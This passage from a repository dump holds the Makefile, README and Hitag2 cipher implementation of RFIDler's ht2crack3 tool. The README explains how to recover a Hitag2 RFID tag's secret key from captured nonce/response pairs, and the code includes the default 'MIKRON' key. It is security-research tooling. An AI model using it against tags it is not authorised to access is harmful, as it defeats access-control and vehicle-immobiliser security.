register\r\n#define SPISTAT_RBF         SPI1STATbits.SPIRBF\r\n// Description: The bitwise define for the SPI control register (i.e. _____bits)\r\n#define SPICON1bits         SPI1CONbits\r\n// Description: The bitwise define for the SPI status register (i.e. _____bits)\r\n#define SPISTATbits         SPI1STATbits\r\n// Description: The enable bit for the SPI module\r\n#define SPIENABLE           SPICON1bits.ON\r\n// Description: The definition for the SPI baud rate generator register (PIC32)\r\n#define SPIBRG              SPI1BRG\r\n// Description: The TRIS bit for the SCK pin\r\n#define SPICLOCK            TRISDbits.TRISD10\r\n// Description: The TRIS bit for the SDI pin\r\n#define SPIIN               TRISCbits.TRISC4\r\n// Description: The TRIS bit for the SDO pin\r\n#define SPIOUT              TRISDbits.TRISD0\r\n#define SD_CS               LATDbits.LATD9\r\n// Description: SD-SPI Chip Select TRIS bit\r\n#define SD_CS_TRIS          TRISDbits.TRISD9\r\n//SPI library functions\r\n#define putcSPI             putcSPI1\r\n#define getcSPI             getcSPI1\r\n#define OpenSPI(config1, config2)   OpenSPI1(config1, config2)\r\n\r\n// Define setup parameters for OpenADC10 function\r\n// Turn module on | Ouput in integer format | Trigger mode auto | Enable autosample\r\n#define ADC_CONFIG1     (ADC_FORMAT_INTG | ADC_CLK_AUTO | ADC_AUTO_SAMPLING_ON)\r\n// ADC ref external | Disable offset test | Disable scan mode | Perform 2 samples | Use dual buffers | Use alternate mode\r\n#define ADC_CONFIG2     (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_1 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON)\r\n\r\n// Use ADC internal clock | Set sample time\r\n#define ADC_CONFIG3     (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_0)\r\n\r\n// slow sample rate for tuning coils\r\n#define ADC_CONFIG2_SLOW     (ADC_VREF_AVDD_AVSS | ADC_OFFSET_CAL_DISABLE | ADC_SCAN_OFF | ADC_SAMPLES_PER_INT_16 | ADC_ALT_BUF_ON | ADC_ALT_INPUT_ON)\r\n#define ADC_CONFIG3_SLOW     (ADC_CONV_CLK_INTERNAL_RC | ADC_SAMPLE_TIME_31)\r\n\r\n// use AN11\r\n#define ADC_CONFIGPORT  ENABLE_AN11_ANA\r\n// Do not assign channels to scan\r\n#define ADC_CONFIGSCAN  SKIP_SCAN_ALL\r\n\r\n#define ADC_TO_VOLTS        0.003208F\r\n\r\n\r\n// flash memory - int myvar = *(int*)(myflashmemoryaddress);\r\n\r\n// memory is 0x9D005000 to 0x9D07FFFF\r\n\r\n#define NVM_MEMORY_END 0x9D07FFFF\r\n#define NVM_PAGE_SIZE\t4096\r\n#define NVM_PAGES       2       // config & VTAG\r\n#define RFIDLER_NVM_ADDRESS (NVM_MEMORY_END - (NVM_PAGE_SIZE * NVM_PAGES))\r\n\r\n// UART timeout in us\r\n#define SERIAL_TIMEOUT                  100\r\n\r\n#endif\r\n"
  },
  {
    "path": "hitag2crack/crack3/Makefile",
    "content": "WARN=-Wall\nINCLUDE=-I../include\nCFLAGS=-c $(WARN) $(INCLUDE)\nLIBS=\n\nall: ht2crack3.c ht2test.c hitagcrypto.o utilpart.o\n\tcc $(WARN) -o ht2crack3 ht2crack3.c hitagcrypto.o utilpart.o -lpthread $(LIBS)\n\tcc $(WARN) -o ht2test ht2test.c hitagcrypto.o utilpart.o $(LIBS)\n\nhitagcrypto.o: hitagcrypto.c hitagcrypto.h\n\tcc $(CFLAGS) hitagcrypto.c\n\nutilpart.o: utilpart.c util.h\n\tcc $(CFLAGS) utilpart.c\n\nclean:\n\trm -rf *.o ht2crack3 ht2test\n\nfresh: clean all\n"
  },
  {
    "path": "hitag2crack/crack3/README",
    "content": "ht2crack3\n\n\n\nBuild\n-----\n\nmake clean\nmake\n\n\nRun\n---\n\nYou'll need a file consisting of 136 (or more) nR aR pairs.  These are the\nencrypted nonces and challenge response values.  They should be in hex with\none pair per line, e.g.:\n0x12345678 0x9abcdef0\n\n./ht2crack3 UID NRARFILE\n\nUID is the UID of the tag that you used to gather the nR aR values.\nNRARFILE is the file containing the nR aR values.\n\n\nTests\n-----\n\nIf you happen to know the key and want to check that all your nR aR values\nare valid (for high-powered demonstrations only, really) then you can use\nthe ht2test program to check them.  It's otherwise massively pointless and a\ncomplete waste of space.\n\n./ht2test NRARFILE KEY UID\n\n"
  },
  {
    "path": "hitag2crack/crack3/hitagcrypto.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2015 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: unknown.\n// Modifications for RFIDler: Tony Naggs <tony.naggs@gmail.com>, Adam Laurie <adam@aperturelabs.com>\n\n// uncomment this to build file as a standalone crypto test program\n// #define UNIT_TEST\n// also uncomment to include verbose debug prints\n// #define TEST_DEBUG\n\n//#include <GenericTypeDefs.h>\n#include \"HardwareProfile.h\"\n#include \"rfidler.h\"\n#include \"hitagcrypto.h\"\n#include \"util.h\"\n\n#ifdef UNIT_TEST\n#include <stdio.h>\n#endif\n\n#if defined(UNIT_TEST) && defined(TEST_DEBUG)\n// Note that printf format %I64x prints 64 bit ints in MS Visual C/C++.\n// This may need changing for other compilers/platforms.\n#define DEBUG_PRINTF(...) printf(__VA_ARGS__)\n#else\n#define DEBUG_PRINTF(...)\n#endif\n\n\n/* Brief info about NXP Hitag 1, Hitag 2, Hitag S and Hitag u (mu)\n\n   Hitag 125kHz RFID was created by a company called Mikron (Mikron Gesellschaft\n   fur Integrierte Mikroelektronik Mbh), of Austria, for micropayment applications.\n   At about the same time, late 1980s to early 1990s, Mikron developed the\n   similarly featured Mifare micropayment card for 13.56MHz RFID.\n   (Mikron's European Patent EP 0473569 A2 was filed 23 August 1991, with a\n   priority date of 23 Aug 1990.)\n   Mikron was subsequently acquired by Philips Semiconductors in 1995.\n   Philips Semiconductors divsion subsequently became NXP.\n\n   + Modulation read/write device -> transponder: 100 % ASK and binary pulse\n     length coding\n   + Modulation transponder -> read/write device: Strong ASK modulation,\n     selectable Manchester or Biphase coding\n   + Hitag S, Hitag u; anti-collision procedure\n   + Fast anti-collision protocol\n   + Hitag u; optional Cyclic Redundancy Check (CRC)\n   + Reader Talks First mode\n   + Hitag 2 & later; Transponder Talks First (TTF) mode\n   + Temporary switch from Transponder Talks First into Reader Talks First\n     (RTF) Mode\n   + Data rate read/write device to transponder: 5.2 kbit/s\n   + Data rates transponder to read/write device: 2 kbit/s, 4 kbit/s, 8 kbit/s\n   + 32-bit password feature\n   + Hitag 2, S = 32-bit Unique Identifier\n   + Hitag u = 48-bit Unique Identifier\n   + Selectable password modes for reader / tag mutual authentication\n     (Hitag 1 has 2 pairs of keys, later versions have 1 pair)\n   + Hitag 2 & Hitag S; Selectable encrypted mode, 48 bit key\n\n   Known tag types:\n\n   HITAG 1            2048 bits total memory\n\n   HITAG 2            256 Bit total memory        Read/Write\n                      8 pages of 32 bits, inc UID (32),\n\t\t      secret key (64), password (24), config (8)\n\n   HITAG S 32         32 bits Unique Identifier   Read Only\n   HITAG S 256        256 bits total memory       Read/Write\n   HITAG S 2048       2048 bits total memory      Read/Write\n\n   HITAG u RO64       64 bits total memory        Read Only\n   HITAG u            128 bits total memory       Read/Write\n   HITAG u Advanced   512 bits total memory       Read/Write\n   HITAG u Advanced+  1760 bits total memory      Read/Write\n\n   Default 48-bit key for Hitag 2, S encryption:\n       \"MIKRON\"       =  O  N  M  I  K  R\n       Key            = 4F 4E 4D 49 4B 52\n\n*/\n\n\n// We want the crypto functions to be as fast as possible, so optimize!\n// The best compiler optimization in Microchip's free XC32 edition is -O1\n#pragma GCC optimize(\"O1\")\n\n// private, nonlinear function to generate 1 crypto bit\nstatic uint32_t hitag2_crypt(uint64_t x);\n\n\n// macros to pick out 4 bits in various patterns of 1s & 2s & make a new number\n#define pickbits2_2(S, A, B)       ( ((S >> A) & 3) | ((S >> (B - 2)) & 0xC) )\n#define pickbits1x4(S, A, B, C, D) ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \\\n                                   ((S >> (C - 2)) & 4) | ((S >> (D - 3)) & 8) )\n#define pickbits1_1_2(S, A, B, C)  ( ((S >> A) & 1) | ((S >> (B - 1)) & 2) | \\\n                                   ((S >> (C - 2)) & 0xC) )\n#define pickbits2_1_1(S, A, B, C)  ( ((S >> A) & 3) | ((S >> (B - 2)) & 4) | \\\n                                   ((S >> (C - 3)) & 8) )\n#define pickbits1_2_1(S, A, B, C)  ( ((S >> A) & 1) | ((S >> (B - 1)) & 6) | \\\n                                   ((S >> (C - 3)) & 8) )\n\n\nstatic uint32_t hitag2_crypt(uint64_t s)\n{\n    const uint32_t ht2_function4a = 0x2C79;\t// 0010 1100 0111 1001\n    const uint32_t ht2_function4b = 0x6671;\t// 0110 0110 0111 0001\n    const uint32_t ht2_function5c = 0x7907287B;\t// 0111 1001 0000 0111 0010 1000 0111 1011\n    uint32_t bitindex;\n\n    bitindex =  (ht2_function4a >> pickbits2_2 (s, 1, 4)) & 1;\n    bitindex |= ((ht2_function4b << 1) >> pickbits1_1_2 (s, 7, 11, 13)) & 0x02;\n    bitindex |= ((ht2_function4b << 2) >> pickbits1x4 (s, 16, 20, 22, 25)) & 0x04;\n    bitindex |= ((ht2_function4b << 3) >> pickbits2_1_1 (s, 27, 30, 32)) & 0x08;\n    bitindex |= ((ht2_function4a << 4) >> pickbits1_2_1(s, 33, 42, 45)) & 0x10;\n\n    DEBUG_PRINTF(\"hitag2_crypt bitindex = %02x\\n\", bitindex);\n    return (ht2_function5c >> bitindex) & 1;\n}\n\n/*\n * Parameters:\n * Hitag_State* pstate - output, internal state after initialisation\n * uint64_t sharedkey  - 48 bit key shared between reader & tag\n * uint32_t serialnum  - 32 bit tag serial number\n * uint32_t initvector - 32 bit random IV from reader, part of tag authentication\n */\nvoid hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum, uint32_t initvector)\n{\n    // init state, from serial number and lowest 16 bits of shared key\n    uint64_t state = ((sharedkey & 0xFFFF) << 32) | serialnum;\n\n    // mix the initialisation vector and highest 32 bits of the shared key\n    initvector ^= (uint32_t) (sharedkey >> 16);\n\n    // move 16 bits from (IV xor Shared Key) to top of uint64_t state\n    // these will be XORed in turn with output of the crypto function\n    state |= (uint64_t) initvector << 48;\n    initvector >>= 16;\n\n    // unrolled loop is faster on PIC32 (MIPS), do 32 times\n    // shift register, then calc new bit\n    state >>= 1;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n\n    // highest 16 bits of IV XOR Shared Key\n    state |= (uint64_t) initvector << 47;\n\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state = (state >> 1) ^ (uint64_t) hitag2_crypt(state) << 46;\n    state ^= (uint64_t) hitag2_crypt(state) << 47;\n\n    DEBUG_PRINTF(\"hitag2_init result = %012I64x\\n\", state);\n    pstate->shiftreg = state;\n    /* naive version for reference, LFSR has 16 taps\n    pstate->lfsr = state ^ (state >>  2) ^ (state >>  3) ^ (state >>  6)\n              ^ (state >>  7) ^ (state >>  8) ^ (state >> 16) ^ (state >> 22)\n              ^ (state >> 23) ^ (state >> 26) ^ (state >> 30) ^ (state >> 41)\n              ^ (state >> 42) ^ (state >> 43) ^ (state >> 46) ^ (state >> 47);\n    */\n    {\n        // optimise with one 64-bit intermediate\n        uint64_t temp = state ^ (state >> 1);\n        pstate->lfsr = state ^ (state >>  6) ^ (state >> 16)\n                  ^ (state >> 26) ^ (state >> 30) ^ (state >> 41)\n                  ^ (temp >>  2) ^ (temp >>  7) ^ (temp >> 22)\n                  ^ (temp >> 42) ^ (temp >> 46);\n    }\n}\n\n\n/*\n * Return up to 32 crypto bits.\n * Last bit is in least significant bit, earlier bits are shifted left.\n * Note that the Hitag transmission protocol is least significant bit,\n * so we may want to change this, or add a function, that returns the\n * crypto output bits in the other order.\n *\n * Parameters:\n * Hitag_State* pstate - in/out, internal cipher state after initialisation\n * uint32_t steps      - number of bits requested, (capped at 32)\n */\nuint32_t hitag2_nstep(Hitag_State* pstate, uint32_t steps)\n{\n    uint64_t state = pstate->shiftreg;\n    uint32_t result = 0;\n    uint64_t lfsr = pstate->lfsr;\n\n    if (steps == 0)\n        return 0;\n\n//    if (steps > 32)\n//        steps = 32;\n\n    do {\n        // update shift registers\n        if (lfsr & 1) {\n            state = (state >> 1) | 0x800000000000;\n            lfsr = (lfsr >> 1) ^ 0xB38083220073;\n\n            // accumulate next bit of crypto\n            result = (result << 1) | hitag2_crypt(state);\n        } else {\n            state >>= 1;\n            lfsr >>= 1;\n\n            result = (result << 1) | hitag2_crypt(state);\n        }\n    } while (--steps);\n\n    DEBUG_PRINTF(\"hitag2_nstep state = %012I64x, result %02x\\n\", state, result);\n    pstate->shiftreg = state;\n    pstate->lfsr = lfsr;\n    return result;\n}\n\n// end of crypto core, revert to default optimization level\n#pragma GCC reset_options\n\n\n/* Test code\n\n   Test data and below information about it comes from\n     http://www.mikrocontroller.net/attachment/102194/hitag2.c\n     Written by \"I.C. Wiener 2006-2007\"\n\n   \"MIKRON\"\t\t=  O  N  M  I  K  R\n    Key\t\t\t= 4F 4E 4D 49 4B 52\t\t- Secret 48-bit key\n    Serial\t\t= 49 43 57 69\t\t\t- Serial number of the tag, transmitted in clear\n    Random\t\t= 65 6E 45 72\t\t\t- Random IV, transmitted in clear\n    ~28~DC~80~31\t= D7 23 7F CE\t\t\t- Authenticator value = inverted first 4 bytes of the keystream\n\n   The code below must print out \"D7 23 7F CE 8C D0 37 A9 57 49 C1 E6 48 00 8A B6\".\n   The inverse of the first 4 bytes is sent to the tag to authenticate.\n   The rest is encrypted by XORing it with the subsequent keystream.\n\n*/\n\n\n/*\nunsigned int hitag2_benchtest_gen32()\n{\n    const uint64_t key = 0x4ad292b272f2;\n    const uint32_t serial = 0x96eac292;\n    const uint32_t initvec = 0x4ea276a6;\n    Hitag_State state;\n\n    // init crypto\n    hitag2_init(&state, key, serial, initvec);\n\n    // benchmark: generation of 32 bit stream (excludes initialisation)\n    GetTimer_us(RESET);\n\n    (void) hitag2_nstep(&state, 32);\n\n    return GetTimer_us(NO_RESET);\n}\n\n\nunsigned int hitag2_benchtest(uint32_t count)\n{\n    const uint64_t key = 0x4ad292b272f2;\n    const uint32_t serial = 0x96eac292;\n    const uint32_t initvec = 0x4ea276a6;\n    Hitag_State state;\n    uint32_t i;\n\n    // start timer\n    GetTimer_us(RESET);\n\n    // benchmark: initialise crypto & generate 32 bit authentication\n    // adding i stops gcc optimizer moving init function call out of loop\n    for (i = 0; i < count; i++) {\n        hitag2_init(&state, key, serial, initvec + i);\n        (void) hitag2_nstep(&state, 32);\n    }\n\n    return GetTimer_us(NO_RESET);\n}\n\n\nunsigned hitag2_verifytest()\n{\n    uint8_t expected[16] = { 0xD7, 0x23, 0x7F, 0xCE, 0x8C, 0xD0, 0x37, 0xA9, 0x57, 0x49, 0xC1, 0xE6, 0x48, 0x00, 0x8A, 0xB6 };\n    // key = 0x4ad292b272f2  after each byte has its bit order reversed\n    // serial = 0x96eac292    ditto\n    // initvec = 0x4ea276a6   ditto\n    const uint64_t key = rev64 (0x524B494D4E4FUL);\n    const uint32_t serial = rev32 (0x69574349);\n    const uint32_t initvec = rev32 (0x72456E65);\n    \n    uint32_t i;\n    Hitag_State state;\n\n    // initialise\n    hitag2_init(&state, key, serial, initvec);\n\n    for (i = 0; i < 16; i++) {\n        // get 8 bits of keystream\n        uint8_t x = (uint8_t) hitag2_nstep(&state, 8);\n        uint8_t y = expected[i];\n\n        DEBUG_PRINTF (\"%02X (%02X) \\n\", x, y);\n        if (x != y)\n            return 0;\n    }\n\n    return 1;\n}\n*/\n\n#ifdef UNIT_TEST\n\nint main(int argc, char* argv[])\n{\n    unsigned pass = hitag2_verifytest();\n\n    printf (\"Crypto Verify test = %s\\n\\n\", pass ? \"PASS\" : \"FAIL\");\n\n    if (pass) {\n        hitag2_benchtest(10000);\n    }\n\n    return 0;\n}\n\n#endif // UNIT_TEST\n"
  },
  {
    "path": "hitag2crack/crack3/hitagcrypto.h",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2014 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: unknown.\n// Modifications for RFIDler: Tony Naggs <tony.naggs@gmail.com>, Adam Laurie <adam@aperturelabs.com>\n\n\n#ifndef HITAGCRYPTO_H\n#define\tHITAGCRYPTO_H\n\n#include <stdint.h>\n\n/*\n   Our model of Hitag 2 crypto uses 2 parallel shift registers:\n   a. 48 bit Feedback Shift Register, required for inputs to the nonlinear function.\n   b. 48 bit Linear Feedback Shift Register (LFSR).\n      A transform of initial register (a) value, which is then run in parallel.\n      Enables much faster calculation of the feedback values.\n\n   API:\n   void hitag2_init(Hitag_State* pstate, uint64_t sharedkey, uint32_t serialnum,\n         uint32_t initvector);\n      Initialise state from 48 bit shared (secret) reader/tag key,\n      32 bit tag serial number and 32 bit initialisation vector from reader.\n\n   uint32_t 